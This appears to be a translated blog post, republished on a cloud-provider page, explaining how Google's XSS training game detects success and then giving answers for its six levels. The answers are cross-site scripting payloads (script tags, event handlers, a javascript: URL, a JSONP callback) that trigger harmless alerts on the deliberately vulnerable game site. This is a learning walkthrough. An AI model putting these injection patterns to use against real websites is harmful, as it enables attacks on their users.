Interesting Game: Google XSS Game

Source: Internet
Author: User

Google recently launched an XSS game:

Https://xss-game.appspot.com/

It took me two or three hours to get the result ..

The rule of this game is that you only need to pop up the alert window on the attack webpage.

The question page is nested in iframe, so how does the parent window know that the window is successfully displayed in iframe?

Is implemented in this way:

This js is loaded on the question page, and the alert function is rewritten. When alert is called, a message is sent to the parent.

Https://xss-game.appspot.com/static/game-frame.js

/* If we're being iframed, let the parent know our URL *//* Kids: don't do this at home! */parent.postMessage(window.location.toString(), "*");/* Override window.alert */var originalAlert = window.alert;window.alert = function(s) {  parent.postMessage("success", "*");  setTimeout(function() {     originalAlert("Congratulations, you executed an alert:\n\n"       + s + "\n\nYou can now advance to the next level.");  }, 50);}
Then the parent window registers an EventListener to receive the message:

Https://xss-game.appspot.com/static/game.js

window.addEventListener("message", function(event) {  if (!window.location.origin) {    window.location.origin = window.location.protocol + "//"         + window.location.hostname         + (window.location.port ? ':' + window.location.port: '');  }  if (event.origin == window.location.origin && event.data == "success") {    userOpenedAlert = true;    levelSolved();    return;  }

The bottom is the answer to the question. If you want to play the game on your own, please be careful.














Answer:

Level1:
<Script> alert (1) </script>
Level2:
<Input onmouseover = "alert (1)">

Level3:

Https://xss-game.appspot.com/level3/frame00003.jpg'onload = "alert (1)">

Level4:

3 '); alert ('1

Level5:

Https://xss-game.appspot.com/level5/frame/signup? Next = javascript: alert (1)

Level6:

The point is that there must be a space in front.

Https://www.google.com/jsapi? Callback = alert


After the game passes, google provides an xss document:

Https://www.google.com/about/appsecurity/learning/xss/index.html


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.